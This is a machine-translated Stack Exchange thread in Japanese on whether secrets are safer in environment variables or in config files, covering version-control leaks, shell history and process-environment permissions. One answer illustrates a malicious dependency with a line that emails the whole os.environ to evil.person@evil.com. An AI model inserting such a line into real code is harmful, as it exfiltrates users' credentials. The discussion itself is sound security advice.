パスワードを(プレーンテキストではなく)環境変数として構成ファイルに格納することは安全ですか?


109

私はいくつかのアプリケーションをrails、django(およびphpの少し)で扱っています。それらのいくつかで始めたのは、特定の構成ファイルにプレーンテキストではなくデータベースと他のパスワードを環境変数として保存することです(または、djangoアプリの場合は、settings.pyにあります。

これを私の協力者の1人と議論する際に、彼はこれは不適切な慣行であると示唆しました-おそらくこれは最初に思われるほど完全に安全ではないかもしれません。

それで、私は知りたいです-これは安全な習慣ですか?これらのファイルにパスワードをプレーンテキストとして保存する方が安全ですか(もちろん、これらのファイルを公開リポジトリなどに残さないようにしてください)。

回答:


45

より理論的なレベルでは、セキュリティのレベルについて次のように考える傾向があります(強度が高い順に)。

  • セキュリティなし。プレーンテキスト。どこを見ればよいか誰でもデータにアクセスできます。
  • 難読化によるセキュリティ。データ(プレーンテキスト)は、環境変数のようにトリッキーな場所に保存するか、構成ファイルのように見えるファイルに保存します。攻撃者は最終的に何が起こっているのかを理解するか、それに遭遇します。
  • 暗号化によって提供されるセキュリティは破るのが簡単です(シーザー暗号と考えてください!)。
  • 暗号化によって提供されるセキュリティであり、多少の努力で破られる可能性があります。
  • 現在のハードウェアを破壊するのに実用的でない暗号化によって提供されるセキュリティ。
  • 最も安全なシステムは誰も使用できないシステムです!:)

環境変数は、より多くの彼らは、揮発性/使い捨て、保存されていないため、平文ファイルより安全な。つまり、「set pwd = whatever」のようにローカル環境変数のみを設定し、スクリプトの最後にコマンドシェルを終了するものを指定してスクリプトを実行すると、変数は存在しなくなります。あなたのケースは最初の2つに分類されますが、これはかなり安全ではないと思います。これを行う場合は、直接のイントラネット/ホームネットワークの外に展開することはお勧めしません。


1
これはオペレーティングシステムに依存します-最良の場合、環境変数はプレーンテキストファイルと同じくらい脆弱ですが、おそらくもっと悪いものです。プレーンテキストファイルを使用すると、ファイル/ディレクトリに読み取り権限を設定して、それらを保護できます。環境変数のIIRCは、シェルプロセスのメモリ空間に存在するため、エンタープライズクラッカーはその空間をスキャンしてそれらを探します。
ジョンカーター

1
少し待ってください:クレデンシャルを環境変数内に保存する場合、最初にそこに到達する必要があります。手で、またはスクリプトで。ソフトウェアの起動を自動化するには、スクリプトをお勧めします。しかし、それが何であるかを推測してから、それでもそれらを(env変数の)構成ファイルに保存する必要があります。env変数の値を手動で提供しない限り、設定ファイルにセキュリティの違いはありません。
数学

59

前述のように、システムが危険にさらされると、どちらの方法でも追加の「セキュリティ」のレイヤーは提供されません。環境変数を支持する最も強力な理由の1つはバージョン管理であると考えています。他のすべての開発者が見ることができないように、データベース構成などが誤ってGITのようなバージョン管理システムに保存されているのを見てきました(そしておっと!私だけでなく ...)。

パスワードをファイルに保存しないと、バージョン管理システムに保存することができなくなります。


6
シークレット構成設定をバージョン管理に保存しないかなり合理的な代替策は、バージョン管理リポジトリまたはコードのリポジトリとは別のプロジェクトにそれらを保存することです。
ケニーエビット2015年

1
@KennyEvittは、セキュリティで保護されていない平文パスワードを、リポジトリへのアクセス権を持つ誰もが見つけることができる共有場所に残し、誰がアクセスしたかを追跡する方法がありません。
FistOfFury

2
@FistOfFuryもちろん、リポジトリへのアクセス権を持つ誰もが...リポジトリにアクセスできます。シークレットを別のリポジトリに保存するのは、コード自体とは異なる方法でシークレットへのアクセスを制御できるようにするためです。ただし、リポジトリは保護できます。たとえば、「共有場所」に暗号化されたシークレットを保存できます。また、共有場所にあるリポジトリへのアクセスに関する情報を追跡することもできます。ただし、もちろん、誰でも情報にアクセスできるようにすると、その情報をコピーして、制限や追跡なしで将来いつでもアクセスできるようになります。
ケニーエビット2017年

2
暗号化されたシークレットを保存できる構成管理ソリューションを使用し、レンダリング時にそれらを構成テンプレートに置き換えるのは、大きな理由です。Chefはデータバッグを暗号化し、Ansibleはボールトなどを持っています
Brian Cline 2017年

1
これは特権アクセス管理と呼ばれ、シークレットは包括的なアクセス制御を備えた集中型PAMボールトに格納されます。ガートナーはそのような製品をいくつか挙げています
アミットナイ

44

パスワードを保存する必要があるときはいつでも、それは安全ではありません。限目。暗号化されていないパスワードを安全に保存する方法はありません。環境変数と構成ファイルのどちらがより「安全」であるかは、おそらく議論の余地があります。私見、システムが危険にさらされている場合、それがどこに保存されているかは重要ではありません。勤勉なハッカーが追跡できます。


12
環境変数については、ここでunixを期待しています...環境変数はファイルよりもはるかに安全ではありません。実行中のプロセスの環境は誰でも確認できますが、ファイルには少なくともACLを設定できます。
Vatine 2012

11
開発者がこれらのパスワードを保存する必要があることを考えると、これは恐ろしく役立つ答えではありません。彼がそれらを保存することをどこに提案しますか?
Peter Nixey 2013

2
@Vatine環境変数を公開している場所にも権限があります。cat /proc/1/environたとえば試してみてください。
クリスダウン

4
@Vatineほんと?で私が所有していないプロセスの環境が表示されませんps axestrace -e open ps axeは、この情報をから取得していることを示して/proc/[pid]/environいます。これには、権限が適用されます(したがって、がたくさんありますopen("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied))。
Chris Down

4
ええと。それを見て、問題が最終的に修正されました(以前はそれpsがsetuidであり、ほとんどすべての環境を喜んで示していました)。
Vatine

28

申し訳ありませんが、コメントするのに十分な担当者がいませんでしたが、注意しないと、シェルがそのパスワードをコマンドの履歴にも記録する可能性があることも付け加えておきます。したがって、$ pwd=mypassword my_prog手動のようなものを実行することは、期待したほど短命ではありません。


21
"env var + command"全体の前にスペースを
付ける

@shadiに感謝します。毎日新しいことを学びましょう!それはシェル固有/オフにするのは簡単ですか、それともかなり一貫して期待できるものですか?
brianclements 2017

4
もう1つの方法はread -s MY_PASS_VAR、シェルの履歴検索とショルダーサーファーの両方から保護することです。
MatrixManAtYrService

4
@brianclements追加したいのは、コマンドの前にスペースを付けると、現在のシェルHISTCONTROLignorespaceまたはignorebothに設定されている場合にのみ機能するため、技術的にはオン/オフを切り替えることができます。
モーゼス

14

可能であれば、資格情報を環境変数としてではなくgitignoredファイルに保存する必要があると思います。

ENV(環境)変数とファイルに資格情報を保存する際に考慮すべきことの1つは、ENV変数は、使用するライブラリまたは依存関係によって非常に簡単に検査できることです。

これは悪意を持って行われる場合と行われない場合があります。たとえば、ライブラリの作成者は、スタックトレースとENV変数をデバッグのために自分宛てに電子メールで送信できます(ベストプラクティスではありませんが、それは可能です)。

資格情報がファイルに含まれている場合、それらにアクセスするのははるかに困難です。

具体的には、ノードのnpmについて考えます。npmがENVにある場合に資格情報を確認するのは簡単ですprocess.ENV。一方、それらがファイル内にある場合、それははるかに多くの作業です。

資格情報ファイルがバージョン管理されているかどうかは別の問題です。資格情報ファイルをバージョン管理しないと、公開されるユーザーが少なくなります。すべての開発者が製品の資格情報を知っている必要はありません。これは最小限の特権の原則に準拠しているため、gitで資格情報ファイルを無視することをお勧めします。


6
+1「ライブラリの作成者は、スタックトレースとENV変数をデバッグのために自分宛てに電子メールで送信できます」。このシナリオについて考えたことはありません。
netishix

6

脅威モデルによって異なります。

ユーザーが忘れたり、誤って処理したりする可能性のあるファイルシステム全体にユーザーがパスワードをまき散らすことを防止しようとしていますか?そうであれば、そうです。環境変数はファイルよりも永続性が低いためです。

プログラムを直接狙っている悪意のあるものから保護しようとしていますか?環境変数には、ファイルと同じレベルのアクセス制御がないためです。

個人的には、怠惰なユーザーの方が意欲的な敵よりも一般的だと思うので、環境変数のアプローチを採用します。


0

AFAICT、人々が秘密を環境変数に保存することを勧める2つの理由があります:

  1. 秘密のフラットファイルを誤ってリポジトリにコミットするのは簡単すぎます。(そしてそれが公開レポであるならば、あなたは乾杯します。)
  2. それはパスワードの乱雑さを防ぎます。つまり、多くの異なるプロジェクトディレクトリファイルに同じキーを持つことは、開発者が最終的にシークレットの場所を追跡できなくなるため、それ自体がセキュリティリスクになります。

これら2つの問題は、より良い方法で解決できます。前者は、パスワードのように見えるもの(gitleaksなど)をチェックするgit commitフックで解決する必要があります。Linusがそのようなツールをgitライブラリのソースコードに組み込んでほしいのですが、悲しいかな、それは起こりませんでした。(言うまでもなく、秘密ファイルは常にに追加する.gitignore必要がありますが、誰かが追加し忘れた場合に備えてフックが必要です。)

後者は、グローバルな会社のシークレットファイルを作成することで解決できます。このファイルは、読み取り専用の共有ドライブに保存するのが理想的です。したがって、Pythonではのようなものを使用できますfrom company_secrets import *

さらに重要なのは、他の人が指摘したように、環境変数に格納されている秘密をハッキングするのは簡単すぎることです。たとえば、Pythonでは、ライブラリの作成者が挿入でき、send_email(address="evil.person@evil.com", text=json.dumps(os.environ))このコードを実行するとトーストします。システムにと呼ばれるファイルがある場合、ハッキングははるかに困難です~/secret_company_stuff/.my_very_secret_company_stuff

Djangoユーザーのみ:
Django(DEBUGモードの場合)は、例外がある場合(DEBUGモードの場合)に環境変数の生の値をブラウザに表示します。たとえば、開発者が誤っDEBUG=Trueて本番環境に設定した場合、これは非常に安全ではないようです。これとは対照的に、Djangoは、文字列を探すことにより、難読化パスワード設定変数をDOES APITOKENKEYSECRETPASSまたはSIGNATUREフレームワークの中settings.pyのファイルの変数名。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.